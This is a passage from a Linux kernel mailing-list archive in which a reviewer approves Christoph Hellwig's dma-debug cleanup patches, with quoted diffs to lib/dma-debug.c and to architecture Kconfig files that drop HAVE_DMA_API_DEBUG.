Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
	by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id E3FC580D;
	Tue,  8 May 2018 02:50:10 -0700 (PDT)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
	by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id B31873F318;
	Tue,  8 May 2018 02:50:07 -0700 (PDT)
In-Reply-To: <20180424140235.9125-3-hch-jcswGhMUV9g@public.gmane.org>
Content-Language: en-GB
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24133 gmane.linux.kernel.cross-arch:43909 gmane.linux.kernel.arc:3858 gmane.linux.ports.parisc:28586 gmane.linux.ports.sh.devel:56989 gmane.linux.ports.hexagon:1692 gmane.linux.kernel:2761419 gmane.linux.ports.alpha:5013 gmane.linux.ports.sparc:27831 gmane.linux.ports.arm.kernel:648455
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24133>

On 24/04/18 15:02, Christoph Hellwig wrote:
> Just keep a single variable with a descriptive name instead of two
> with confusing names.

Reviewed-by: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>

> Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
> ---
>   lib/dma-debug.c | 20 ++++----------------
>   1 file changed, 4 insertions(+), 16 deletions(-)
> 
> diff --git a/lib/dma-debug.c b/lib/dma-debug.c
> index 712a897174e4..075253cb613b 100644
> --- a/lib/dma-debug.c
> +++ b/lib/dma-debug.c
> @@ -132,7 +132,7 @@ static u32 min_free_entries;
>   static u32 nr_total_entries;
>   
>   /* number of preallocated entries requested by kernel cmdline */
> -static u32 req_entries;
> +static u32 nr_prealloc_entries = PREALLOC_DMA_DEBUG_ENTRIES;
>   
>   /* debugfs dentry's for the stuff above */
>   static struct dentry *dma_debug_dent        __read_mostly;
> @@ -1011,7 +1011,6 @@ void dma_debug_add_bus(struct bus_type *bus)
>   
>   static int dma_debug_init(void)
>   {
> -	u32 num_entries;
>   	int i;
>   
>   	/* Do not use dma_debug_initialized here, since we really want to be
> @@ -1032,12 +1031,7 @@ static int dma_debug_init(void)
>   		return 0;
>   	}
>   
> -	if (req_entries)
> -		num_entries = req_entries;
> -	else
> -		num_entries = PREALLOC_DMA_DEBUG_ENTRIES;
> -
> -	if (prealloc_memory(num_entries) != 0) {
> +	if (prealloc_memory(nr_prealloc_entries) != 0) {
>   		pr_err("DMA-API: debugging out of memory error - disabled\n");
>   		global_disable = true;
>   
> @@ -1068,16 +1062,10 @@ static __init int dma_debug_cmdline(char *str)
>   
>   static __init int dma_debug_entries_cmdline(char *str)
>   {
> -	int res;
> -
>   	if (!str)
>   		return -EINVAL;
> -
> -	res = get_option(&str, &req_entries);
> -
> -	if (!res)
> -		req_entries = 0;
> -
> +	if (!get_option(&str, &nr_prealloc_entries))
> +		nr_prealloc_entries = PREALLOC_DMA_DEBUG_ENTRIES;
>   	return 0;
>   }
>   
> 

From - Thu Nov 08 21:41:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 4/3] dma-debug: remove CONFIG_HAVE_DMA_API_DEBUG
Date: Tue, 8 May 2018 10:54:42 +0100
Lines: 249
Approved: news@gmane.org
Message-ID: <cfc6ac1e-56b7-0211-afa3-86865a01667d@arm.com>
References: <20180424140235.9125-1-hch@lst.de> <20180427155342.GA9232@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1525773165 15418 195.159.176.226 (8 May 2018 09:52:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 8 May 2018 09:52:45 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
	Thunderbird/52.7.0
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 08 11:52:39 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fFzIU-0003sU-VS
	for glki-iommu@m.gmane.org; Tue, 08 May 2018 11:52:39 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 6816A723;
	Tue,  8 May 2018 09:54:49 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 4DF8874
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  8 May 2018 09:54:48 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from foss.arm.com (usa-sjc-mx-foss1.foss.arm.com [217.140.101.70])
	by smtp1.linuxfoundation.org (Postfix) with ESMTP id 7769A625
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  8 May 2018 09:54:47 +0000 (UTC)
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
	by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 45E0580D;
	Tue,  8 May 2018 02:54:47 -0700 (PDT)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
	by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 27A813F318;
	Tue,  8 May 2018 02:54:44 -0700 (PDT)
In-Reply-To: <20180427155342.GA9232-jcswGhMUV9g@public.gmane.org>
Content-Language: en-GB
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24134 gmane.linux.kernel.cross-arch:43910 gmane.linux.ports.parisc:28587 gmane.linux.ports.sh.devel:56991 gmane.linux.ports.hexagon:1693 gmane.linux.kernel:2761423 gmane.linux.ports.alpha:5014 gmane.linux.ports.sparc:27832 gmane.linux.kernel.arc:3859 gmane.linux.ports.arm.kernel:648456
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24134>

On 27/04/18 16:53, Christoph Hellwig wrote:
> There is no arch specific code required for dma-debug, so there is no
> need to opt into the support either.

Makes sense, and a purely negative diffstat is always pleasing :)

Reviewed-by: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>

> Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
> ---
>   .../io/dma-api-debug/arch-support.txt         | 31 -------------------
>   arch/Kconfig                                  |  3 --
>   arch/arm/Kconfig                              |  1 -
>   arch/arm64/Kconfig                            |  1 -
>   arch/c6x/Kconfig                              |  1 -
>   arch/ia64/Kconfig                             |  1 -
>   arch/microblaze/Kconfig                       |  1 -
>   arch/mips/Kconfig                             |  1 -
>   arch/powerpc/Kconfig                          |  1 -
>   arch/riscv/Kconfig                            |  1 -
>   arch/s390/Kconfig                             |  1 -
>   arch/sh/Kconfig                               |  1 -
>   arch/sparc/Kconfig                            |  1 -
>   arch/x86/Kconfig                              |  1 -
>   arch/xtensa/Kconfig                           |  1 -
>   lib/Kconfig.debug                             |  1 -
>   16 files changed, 48 deletions(-)
>   delete mode 100644 Documentation/features/io/dma-api-debug/arch-support.txt
> 
> diff --git a/Documentation/features/io/dma-api-debug/arch-support.txt b/Documentation/features/io/dma-api-debug/arch-support.txt
> deleted file mode 100644
> index e438ed675623..000000000000
> --- a/Documentation/features/io/dma-api-debug/arch-support.txt
> +++ /dev/null
> @@ -1,31 +0,0 @@
> -#
> -# Feature name:          dma-api-debug
> -#         Kconfig:       HAVE_DMA_API_DEBUG
> -#         description:   arch supports DMA debug facilities
> -#
> -    -----------------------
> -    |         arch |status|
> -    -----------------------
> -    |       alpha: | TODO |
> -    |         arc: | TODO |
> -    |         arm: |  ok  |
> -    |       arm64: |  ok  |
> -    |         c6x: |  ok  |
> -    |       h8300: | TODO |
> -    |     hexagon: | TODO |
> -    |        ia64: |  ok  |
> -    |        m68k: | TODO |
> -    |  microblaze: |  ok  |
> -    |        mips: |  ok  |
> -    |       nios2: | TODO |
> -    |    openrisc: | TODO |
> -    |      parisc: | TODO |
> -    |     powerpc: |  ok  |
> -    |        s390: |  ok  |
> -    |          sh: |  ok  |
> -    |       sparc: |  ok  |
> -    |          um: | TODO |
> -    |   unicore32: | TODO |
> -    |         x86: |  ok  |
> -    |      xtensa: |  ok  |
> -    -----------------------
> diff --git a/arch/Kconfig b/arch/Kconfig
> index 8e0d665c8d53..f07a1a99e5db 100644
> --- a/arch/Kconfig
> +++ b/arch/Kconfig
> @@ -278,9 +278,6 @@ config HAVE_CLK
>   	  The <linux/clk.h> calls support software clock gating and
>   	  thus are a key power management tool on many systems.
>   
> -config HAVE_DMA_API_DEBUG
> -	bool
> -
>   config HAVE_HW_BREAKPOINT
>   	bool
>   	depends on PERF_EVENTS
> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index 676977bdfe33..c43f5bb55ac8 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig
> @@ -60,7 +60,6 @@ config ARM
>   	select HAVE_CONTEXT_TRACKING
>   	select HAVE_C_RECORDMCOUNT
>   	select HAVE_DEBUG_KMEMLEAK
> -	select HAVE_DMA_API_DEBUG
>   	select HAVE_DMA_CONTIGUOUS if MMU
>   	select HAVE_DYNAMIC_FTRACE if (!XIP_KERNEL) && !CPU_ENDIAN_BE32 && MMU
>   	select HAVE_DYNAMIC_FTRACE_WITH_REGS if HAVE_DYNAMIC_FTRACE
> diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
> index db51b6445744..b25ed7834f6c 100644
> --- a/arch/arm64/Kconfig
> +++ b/arch/arm64/Kconfig
> @@ -105,7 +105,6 @@ config ARM64
>   	select HAVE_CONTEXT_TRACKING
>   	select HAVE_DEBUG_BUGVERBOSE
>   	select HAVE_DEBUG_KMEMLEAK
> -	select HAVE_DMA_API_DEBUG
>   	select HAVE_DMA_CONTIGUOUS
>   	select HAVE_DYNAMIC_FTRACE
>   	select HAVE_EFFICIENT_UNALIGNED_ACCESS
> diff --git a/arch/c6x/Kconfig b/arch/c6x/Kconfig
> index c6b4dd1418b4..8c088b96e372 100644
> --- a/arch/c6x/Kconfig
> +++ b/arch/c6x/Kconfig
> @@ -10,7 +10,6 @@ config C6X
>   	select GENERIC_ATOMIC64
>   	select GENERIC_IRQ_SHOW
>   	select HAVE_ARCH_TRACEHOOK
> -	select HAVE_DMA_API_DEBUG
>   	select HAVE_MEMBLOCK
>   	select SPARSE_IRQ
>   	select IRQ_DOMAIN
> diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
> index 9485b5490eca..2067289fad4a 100644
> --- a/arch/ia64/Kconfig
> +++ b/arch/ia64/Kconfig
> @@ -29,7 +29,6 @@ config IA64
>   	select HAVE_FUNCTION_TRACER
>   	select TTY
>   	select HAVE_ARCH_TRACEHOOK
> -	select HAVE_DMA_API_DEBUG
>   	select HAVE_MEMBLOCK
>   	select HAVE_MEMBLOCK_NODE_MAP
>   	select HAVE_VIRT_CPU_ACCOUNTING
> diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
> index 3817a3e2146c..d14782100088 100644
> --- a/arch/microblaze/Kconfig
> +++ b/arch/microblaze/Kconfig
> @@ -19,7 +19,6 @@ config MICROBLAZE
>   	select HAVE_ARCH_HASH
>   	select HAVE_ARCH_KGDB
>   	select HAVE_DEBUG_KMEMLEAK
> -	select HAVE_DMA_API_DEBUG
>   	select HAVE_DYNAMIC_FTRACE
>   	select HAVE_FTRACE_MCOUNT_RECORD
>   	select HAVE_FUNCTION_GRAPH_TRACER
> diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
> index 0f619b8c0e9e..2dcdc13cd65d 100644
> --- a/arch/mips/Kconfig
> +++ b/arch/mips/Kconfig
> @@ -42,7 +42,6 @@ config MIPS
>   	select HAVE_C_RECORDMCOUNT
>   	select HAVE_DEBUG_KMEMLEAK
>   	select HAVE_DEBUG_STACKOVERFLOW
> -	select HAVE_DMA_API_DEBUG
>   	select HAVE_DMA_CONTIGUOUS
>   	select HAVE_DYNAMIC_FTRACE
>   	select HAVE_EXIT_THREAD
> diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
> index 1887f8f86a77..268fd46fc3c7 100644
> --- a/arch/powerpc/Kconfig
> +++ b/arch/powerpc/Kconfig
> @@ -181,7 +181,6 @@ config PPC
>   	select HAVE_CONTEXT_TRACKING		if PPC64
>   	select HAVE_DEBUG_KMEMLEAK
>   	select HAVE_DEBUG_STACKOVERFLOW
> -	select HAVE_DMA_API_DEBUG
>   	select HAVE_DYNAMIC_FTRACE
>   	select HAVE_DYNAMIC_FTRACE_WITH_REGS	if MPROFILE_KERNEL
>   	select HAVE_EBPF_JIT			if PPC64
> diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
> index 17212ba54ee3..95e2da34aaad 100644
> --- a/arch/riscv/Kconfig
> +++ b/arch/riscv/Kconfig
> @@ -23,7 +23,6 @@ config RISCV
>   	select GENERIC_ATOMIC64 if !64BIT || !RISCV_ISA_A
>   	select HAVE_MEMBLOCK
>   	select HAVE_MEMBLOCK_NODE_MAP
> -	select HAVE_DMA_API_DEBUG
>   	select HAVE_DMA_CONTIGUOUS
>   	select HAVE_GENERIC_DMA_COHERENT
>   	select IRQ_DOMAIN
> diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
> index b794a2ab6d15..6a64287ec1da 100644
> --- a/arch/s390/Kconfig
> +++ b/arch/s390/Kconfig
> @@ -130,7 +130,6 @@ config S390
>   	select HAVE_CMPXCHG_LOCAL
>   	select HAVE_COPY_THREAD_TLS
>   	select HAVE_DEBUG_KMEMLEAK
> -	select HAVE_DMA_API_DEBUG
>   	select HAVE_DMA_CONTIGUOUS
>   	select DMA_DIRECT_OPS
>   	select HAVE_DYNAMIC_FTRACE
> diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
> index 9417f70e008e..7d521926041e 100644
> --- a/arch/sh/Kconfig
> +++ b/arch/sh/Kconfig
> @@ -13,7 +13,6 @@ config SUPERH
>   	select HAVE_OPROFILE
>   	select HAVE_GENERIC_DMA_COHERENT
>   	select HAVE_ARCH_TRACEHOOK
> -	select HAVE_DMA_API_DEBUG
>   	select HAVE_PERF_EVENTS
>   	select HAVE_DEBUG_BUGVERBOSE
>   	select ARCH_HAVE_CUSTOM_GPIO_H
> diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
> index c1cfc17eb504..435dbc033afe 100644
> --- a/arch/sparc/Kconfig
> +++ b/arch/sparc/Kconfig
> @@ -25,7 +25,6 @@ config SPARC
>   	select RTC_CLASS
>   	select RTC_DRV_M48T59
>   	select RTC_SYSTOHC
> -	select HAVE_DMA_API_DEBUG
>   	select HAVE_ARCH_JUMP_LABEL if SPARC64
>   	select GENERIC_IRQ_SHOW
>   	select ARCH_WANT_IPC_PARSE_VERSION
> diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
> index aad35c568681..3eeca48a146b 100644
> --- a/arch/x86/Kconfig
> +++ b/arch/x86/Kconfig
> @@ -135,7 +135,6 @@ config X86
>   	select HAVE_C_RECORDMCOUNT
>   	select HAVE_DEBUG_KMEMLEAK
>   	select HAVE_DEBUG_STACKOVERFLOW
> -	select HAVE_DMA_API_DEBUG
>   	select HAVE_DMA_CONTIGUOUS
>   	select HAVE_DYNAMIC_FTRACE
>   	select HAVE_DYNAMIC_FTRACE_WITH_REGS
> diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
> index c921e8bccdc8..17df332269b2 100644
> --- a/arch/xtensa/Kconfig
> +++ b/arch/xtensa/Kconfig
> @@ -19,7 +19,6 @@ config XTENSA
>   	select HAVE_ARCH_KASAN if MMU
>   	select HAVE_CC_STACKPROTECTOR
>   	select HAVE_DEBUG_KMEMLEAK
> -	select HAVE_DMA_API_DEBUG
>   	select HAVE_DMA_CONTIGUOUS
>   	select HAVE_EXIT_THREAD
>   	select HAVE_FUNCTION_TRACER
> diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
> index 685ed2dd4384..d5175eb7b917 100644
> --- a/lib/Kconfig.debug
> +++ b/lib/Kconfig.debug
> @@ -1634,7 +1634,6 @@ config PROVIDE_OHCI1394_DMA_INIT
>   
>   config DMA_API_DEBUG
>   	bool "Enable debugging of DMA-API usage"
> -	depends on HAVE_DMA_API_DEBUG
>   	select NEED_DMA_MAP_STATE
>   	help
>   	  Enable this option to debug the use of the DMA API by device drivers.
> 

From - Thu Nov 08 21:41:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 3/3] dma-debug: unexport dma_debug_resize_entries and
	debug_dma_dump_mappings
Date: Tue, 8 May 2018 11:05:20 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <bb5bb25f-24da-9729-a39b-3b88c65ef628@arm.com>
References: <20180424140235.9125-1-hch@lst.de>
	<20180424140235.9125-4-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1525773803 28531 195.159.176.226 (8 May 2018 10:03:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 8 May 2018 10:03:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
	Thunderbird/52.7.0
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 08 12:03:18 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fFzSl-0007HJ-U3
	for glki-iommu@m.gmane.org; Tue, 08 May 2018 12:03:16 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 6E7D6927;
	Tue,  8 May 2018 10:05:26 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 32D45910
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  8 May 2018 10:05:25 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from foss.arm.com (foss.arm.com [217.140.101.70])
	by smtp1.linuxfoundation.org (Postfix) with ESMTP id B602B677
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  8 May 2018 10:05:24 +0000 (UTC)
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
	by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 7D17D80D;
	Tue,  8 May 2018 03:05:24 -0700 (PDT)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
	by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 7A8513F318;
	Tue,  8 May 2018 03:05:21 -0700 (PDT)
In-Reply-To: <20180424140235.9125-4-hch-jcswGhMUV9g@public.gmane.org>
Content-Language: en-GB
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24135 gmane.linux.kernel.cross-arch:43911 gmane.linux.kernel.arc:3860 gmane.linux.ports.parisc:28588 gmane.linux.ports.sh.devel:56992 gmane.linux.ports.hexagon:1694 gmane.linux.kernel:2761428 gmane.linux.ports.alpha:5015 gmane.linux.ports.sparc:27833 gmane.linux.ports.arm.kernel:648459
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24135>

On 24/04/18 15:02, Christoph Hellwig wrote:
> Only used by the AMD GART driver, which must be built in.

FWIW debug_dma_dump_mappings() is also called by the Intel VT-d driver, 
but the same reasoning still applies. This does rather beg the question 
of whether it's right to have bits of low-level dma-debug internals 
*only* called by a couple of IOMMU drivers, but that can wait for 
another day.

Reviewed-by: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>

> Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
> ---
>   lib/dma-debug.c | 2 --
>   1 file changed, 2 deletions(-)
> 
> diff --git a/lib/dma-debug.c b/lib/dma-debug.c
